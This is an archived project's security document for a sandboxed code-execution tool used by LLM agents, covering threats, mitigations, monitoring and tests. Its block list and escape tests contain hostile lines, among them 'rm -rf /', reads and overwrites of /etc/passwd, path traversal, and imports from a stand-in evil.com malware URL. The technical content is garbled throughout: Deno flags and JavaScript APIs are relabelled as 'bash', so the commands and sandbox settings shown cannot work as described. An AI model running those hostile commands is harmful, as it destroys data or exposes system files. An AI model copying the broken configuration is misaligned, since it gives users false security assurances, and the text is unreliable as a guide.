This repository has been archived on 2026-06-13. You can view files and clone it, but cannot push or open issues or pull requests.
anvillm-mcp/docs/code-execution-security.md

17 KiB

Code Execution Security Documentation

Threat Model

Overview

The code execution pattern allows agents to write and execute bash code in a isolated subprocess. This document analyzes security threats and mitigations.

Trust Boundary

┌─────────────────────────────────────────┐
│ Agent (LLM)                             │
│ - Generates code                        │
│ - Untrusted input                       │
└──────────────┬──────────────────────────┘
               │ bash code
               ↓
┌─────────────────────────────────────────┐
│ Code Validator                          │
│ - Pattern matching                      │
│ - Syntax validation                     │
└──────────────┬──────────────────────────┘
               │ Validated code
               ↓
┌─────────────────────────────────────────┐
│ Subprocess (bash + Landlock)               │
│ - Filesystem restrictions               │
│ - Command whitelist                     │
│ - Resource limits                       │
└──────────────┬──────────────────────────┘
               │ 9P commands
               ↓
┌─────────────────────────────────────────┐
│ 9P Operations                           │
│ - Unix permissions                      │
│ - Event stream / mailbox archives / debug logs       │
└─────────────────────────────────────────┘

Threat Categories

  1. Malicious Code Injection: Agent generates harmful code
  2. Subprocess Escape: Code breaks out of subprocess
  3. Resource Exhaustion: Code consumes excessive resources
  4. Data Exfiltration: Code leaks sensitive data
  5. 9P Socket Access: Unauthorized 9P operations
  6. Supply Chain: Malicious dependencies

Threat Analysis

Threat 1: Malicious Code Injection

Description: Agent generates code that attempts to harm the system.

Risk Level: LOW

Attack Vectors:

  • Execute arbitrary commands
  • Delete files
  • Modify system configuration
  • Install malware

Mitigations:

  1. Code Validation: Pattern matching blocks dangerous constructs
func validateCode(code string) error {
    dangerous := []string{
        "bash.exit",      // Process termination
        "bash.kill",      // Kill processes
        "eval(",          // Dynamic code execution
        "Function(",      // Dynamic function creation
        "import(",        // Dynamic imports
        "bash.dlopen",    // Load native libraries
    }
    for _, pattern := range dangerous {
        if strings.Contains(code, pattern) {
            return fmt.Errorf("dangerous pattern: %s", pattern)
        }
    }
    return nil
}
  1. Subprocess Restrictions: bash permissions limit capabilities
bash run \
  --allow-read=/tmp/workspace-123 \
  --allow-run=/usr/bin/9p \
  --allow-env=NAMESPACE,AGENT_ID \
  script.sh
  1. Command Whitelist: Only /usr/bin/9p can be executed

Residual Risk: LOW - Multiple layers of defense

Threat 2: Subprocess Escape

Description: Code breaks out of subprocess to access host system.

Risk Level: LOW

Attack Vectors:

  • Exploit bash vulnerabilities
  • Bypass Landlock restrictions
  • Exploit kernel vulnerabilities

Mitigations:

  1. Landlock LSM: Kernel-enforced filesystem restrictions
// Landlock configuration (kernel-level)
// - Whitelist: /tmp/workspace-*, /usr/bin/9p
// - Deny: Everything else
  1. bash Subprocess: Process-level isolation
  • No network access
  • Limited filesystem access
  • No dynamic code loading
  1. Temporary Workspace: Isolated per execution
workspace := filepath.Join(os.TempDir(),
    fmt.Sprintf("anvilmcp-%d", time.Now().UnixNano()))
defer os.RemoveAll(workspace)
  1. Regular Updates: Keep bash and kernel patched

Residual Risk: LOW - Kernel-enforced isolation

Threat 3: Resource Exhaustion

Description: Code consumes excessive CPU, memory, or disk.

Risk Level: MEDIUM

Attack Vectors:

  • Infinite loops
  • Memory leaks
  • Large file creation
  • Fork bombs

Mitigations:

  1. Execution Timeout: Hard limit on execution time
ctx, cancel := context.WithTimeout(context.Background(),
    time.Duration(timeoutSec)*time.Second)
defer cancel()

cmd := exec.CommandContext(ctx, "bash", "run", ...)
  1. Workspace Quota: Limit disk usage
// Set quota on /tmp/workspace-* (future enhancement)
// Current: Rely on /tmp size limits
  1. Output Size Limit: Truncate large outputs
const maxOutputSize = 1024 * 1024  // 1 MB
if len(output) > maxOutputSize {
    output = output[:maxOutputSize]
    output = append(output, []byte("\n[Output truncated]")...)
}
  1. Concurrent Execution Limit: Prevent resource exhaustion
// Semaphore to limit concurrent executions
var executionSem = make(chan struct{}, 4)  // Max 4 concurrent

Residual Risk: MEDIUM - Requires monitoring and tuning

Threat 4: Data Exfiltration

Description: Code leaks sensitive data outside the system.

Risk Level: LOW

Attack Vectors:

  • Network exfiltration (blocked)
  • Filesystem writes (restricted)
  • Covert channels (timing, errors)

Mitigations:

  1. No Network Access: bash runs without --allow-net
# Network access denied
bash run --allow-net=NONE script.sh
  1. Filesystem Restrictions: Can only write to workspace
bash run --allow-write=/tmp/workspace-123 script.sh
  1. Explicit Logging: Only stdout/stderr returned
// Agent only sees what code prints
output, err := cmd.CombinedOutput()
return string(output), err
  1. Data Isolation: Intermediate data stays in subprocess
// PII never enters model context
const emails = await getCustomerEmails();  // Stays in subprocess
for (const email of emails) {
  await updateCRM({ email: email.address });  // Direct transfer
}
console.log(`Processed ${emails.length} emails`);  // Summary only

Residual Risk: LOW — data stays in subprocess, only summaries returned to the model

Threat 5: 9P Socket Access

Description: Unauthorized access to 9P operations.

Risk Level: MEDIUM (Same as current system)

Attack Vectors:

  • Read sensitive data via 9P
  • Modify system state via 9P
  • Impersonate other agents

Mitigations:

  1. Unix Permissions: Socket access controlled by filesystem
# 9P socket permissions
srwxr-x--- 1 user group 0 /tmp/ns.user.:0/anvilmcp
  1. Agent ID Validation: Operations check agent identity
// Verify agent ID matches session
if agentID != session.AgentID {
    return fmt.Errorf("unauthorized")
}
  1. Observability: State changes visible via event stream, mailbox archives, and debug logs

  2. Operation Whitelist: Only allowed operations exposed

// Only expose safe operations
allowedOps := []string{"read", "write", "ls"}

Residual Risk: MEDIUM — inherent to any 9P client

Mitigation: Run locally on a trusted network. On a single-user system, the only processes with socket access are ones the user launched — self-inflicted abuse is not a meaningful threat. Do not expose the 9P mount over the network, or at minimum, implement access control (e.g., firewall).

Threat 6: Supply Chain

Description: Malicious dependencies in code.

Risk Level: LOW

Attack Vectors:

  • Import malicious npm packages
  • Import compromised bash modules
  • Remote code injection via imports

Mitigations:

  1. No Remote Imports: bash runs without network access
# Remote imports fail
bash run --allow-net=NONE script.sh
# Error: Network access denied
  1. Standard Library Only: Only bash std allowed
// Allowed
import { readLines } from "https://bash.land/std/io/mod.sh";

// Blocked (no network)
import { malicious } from "https://evil.com/malware.sh";
  1. Local Imports Only: Only import from workspace
// Allowed
# Call tools from anvillm/tools/check_inbox.sh";

// Blocked (outside workspace)
import { evil } from "/etc/passwd";

Residual Risk: LOW - No remote imports possible

Security Properties

  1. Data Isolation: Intermediate data stays in subprocess — only stdout/stderr returned to the model
  2. Privacy Preservation: PII processed in subprocess, never enters model context
  3. Explicit Control: Agent explicitly chooses what to print (and thus what the model sees)
  4. 9P Access Control: Unix socket permissions, event stream for observability
  5. Process Isolation: Separate landrun sandbox per execution
  6. Code Validation: Pattern matching rejects dangerous constructs

Subprocess Configuration

Sandbox Selection

By default (when the sandbox argument is not specified), execute_code uses the restricted anvilmcp sandbox configuration. If this fails (e.g., due to kernel or permission constraints), it falls back to the default sandbox — the same configuration used by the outer landrun invocation. This compromise provides "just works" behavior and avoids surprises, while still applying the tighter sandbox when possible.

For higher-risk scenarios (e.g., running untrusted scripts, processing sensitive data), the anvilmcp sandbox should be explicitly specified to ensure the tighter restrictions are enforced — it uses a temporary workspace, minimal filesystem access, and a restricted set of environment variables.

Custom sandbox configurations can be created by adding a YAML file to the sandbox/ subdirectory in the anvillm config directory (~/.config/anvillm/sandbox/). These can be as permissive or restricted as desired.

bash Permissions

bash run \
  --allow-read=/tmp/workspace-123 \      # Read workspace only
  --allow-write=/tmp/workspace-123 \     # Write workspace only
  --allow-run=/usr/bin/9p \              # Execute 9p only
  --allow-env=NAMESPACE,AGENT_ID \       # Limited env vars
  --no-prompt \                          # No interactive prompts
  script.sh

Landlock Configuration

// Kernel-enforced filesystem restrictions
// Implemented via landlock(7) LSM

type LandlockConfig struct {
    AllowRead  []string  // Paths allowed for reading
    AllowWrite []string  // Paths allowed for writing
    AllowExec  []string  // Paths allowed for execution
}

config := LandlockConfig{
    AllowRead:  []string{"/tmp/workspace-*", "/usr/bin/9p"},
    AllowWrite: []string{"/tmp/workspace-*"},
    AllowExec:  []string{"/usr/bin/9p"},
}

Resource Limits

type ResourceLimits struct {
    TimeoutSec      int    // Max execution time
    MaxOutputBytes  int    // Max output size
    MaxConcurrent   int    // Max concurrent executions
    WorkspaceQuota  int64  // Max workspace size
}

limits := ResourceLimits{
    TimeoutSec:     30,
    MaxOutputBytes: 1024 * 1024,  // 1 MB
    MaxConcurrent:  4,
    WorkspaceQuota: 100 * 1024 * 1024,  // 100 MB
}

Monitoring and Auditing

Execution Logs

type ExecutionLog struct {
    Timestamp   time.Time
    AgentID     string
    CodeHash    string      // SHA256 of code
    Language    string
    Duration    int64       // Milliseconds
    Success     bool
    OutputSize  int
    Error       string
}

Metrics to Monitor

  1. Execution Rate: Executions per minute
  2. Failure Rate: Failed executions / total
  3. Timeout Rate: Timeouts / total
  4. Output Size: Average and max output size
  5. Duration: Average and max execution time

Alerts

  1. High Failure Rate: >10% failures in 5 minutes
  2. Frequent Timeouts: >5 timeouts in 5 minutes
  3. Large Outputs: >1 MB output
  4. Validation Failures: Dangerous patterns detected
  5. Resource Exhaustion: Concurrent limit reached

Audit Trail

// Log all executions
log.Printf("EXEC: agent=%s hash=%s duration=%dms success=%v",
    agentID, codeHash, duration, success)

// Log validation failures
log.Printf("VALIDATION_FAILED: agent=%s pattern=%s",
    agentID, dangerousPattern)

// Log 9P operations from subprocess
log.Printf("9P: agent=%s op=%s path=%s",
    agentID, operation, path)

Incident Response

Detection

  1. Validation Failure: Dangerous pattern detected

    • Action: Block execution, log incident, alert admin
  2. Repeated Timeouts: Same agent timing out repeatedly

    • Action: Rate limit agent, investigate code
  3. Subprocess Escape Attempt: Unexpected filesystem access

    • Action: Kill process, log incident, alert security team
  4. Resource Exhaustion: Concurrent limit reached

    • Action: Queue executions, investigate load

Response Procedures

  1. Immediate: Kill offending process
  2. Short-term: Block agent from code execution
  3. Investigation: Review logs, analyze code
  4. Long-term: Update validation rules, patch vulnerabilities

Security Testing

Unit Tests

func TestCodeValidation(t *testing.T) {
    tests := []struct {
        code      string
        shouldFail bool
    }{
        {"console.log('hello')", false},
        {"bash.exit(1)", true},
        {"eval('malicious')", true},
    }

    for _, tt := range tests {
        err := validateCode(tt.code)
        if (err != nil) != tt.shouldFail {
            t.Errorf("validateCode(%q) = %v, want fail=%v",
                tt.code, err, tt.shouldFail)
        }
    }
}

Integration Tests

func TestSubprocessRestrictions(t *testing.T) {
    // Test filesystem restrictions
    code := `bash.writeTextFileSync("/etc/passwd", "hacked")`
    _, err := executeCode(code, "bash", 10)
    if err == nil {
        t.Error("Expected filesystem restriction, got success")
    }

    // Test command whitelist
    code = `bash.run({cmd: ["rm", "-rf", "/"]})`
    _, err = executeCode(code, "bash", 10)
    if err == nil {
        t.Error("Expected command restriction, got success")
    }
}

Security Tests

func TestSubprocessEscape(t *testing.T) {
    // Attempt various escape techniques
    escapeAttempts := []string{
        `bash.run({cmd: ["bash", "-c", "cat /etc/passwd"]})`,
        `bash.writeTextFileSync("../../../etc/passwd", "hacked")`,
        `import("https://evil.com/malware.sh")`,
    }

    for _, code := range escapeAttempts {
        _, err := executeCode(code, "bash", 10)
        if err == nil {
            t.Errorf("Subprocess escape succeeded: %s", code)
        }
    }
}

Best Practices

For Developers

  1. Validate All Code: Never skip validation
  2. Enforce Timeouts: Always set execution timeout
  3. Limit Output Size: Truncate large outputs
  4. Log Everything: Comprehensive audit trail
  5. Monitor Metrics: Track execution patterns
  6. Update Regularly: Keep bash and kernel patched

For Operators

  1. Review Logs: Regular log analysis
  2. Monitor Alerts: Respond to security alerts
  3. Test Subprocess: Regular security testing
  4. Update Rules: Refine validation patterns
  5. Incident Response: Have procedures ready

For Users

  1. Trust the Subprocess: Don't bypass restrictions
  2. Report Issues: Report suspicious behavior
  3. Follow Guidelines: Use code execution appropriately
  4. Review Output: Check execution results

Comparison to Alternatives

vs Unrestricted Execution

Aspect Unrestricted Code Execution
Filesystem access Full Restricted (workspace)
Network access Full None
Command execution Any Whitelist (/usr/bin/9p)
Resource limits None Timeouts, quotas
Code validation None Pattern matching

Conclusion: Code execution is significantly more secure

References

Conclusion

The code execution pattern provides strong security through multiple layers:

  1. Code Validation: Block dangerous patterns
  2. bash Subprocess: Process-level isolation
  3. Landlock LSM: Kernel-level enforcement
  4. Resource Limits: Prevent exhaustion
  5. Observability: Event stream, mailbox archives, and debug logs

Security Posture: Data isolation and explicit control over information flow via sandboxed subprocesses.

Residual Risks: Primarily resource exhaustion (MEDIUM) and 9P access control (MEDIUM, inherent to any 9P client). Mitigated by running locally on a trusted network — do not expose the 9P mount over the network, or at minimum, implement access control (e.g., firewall).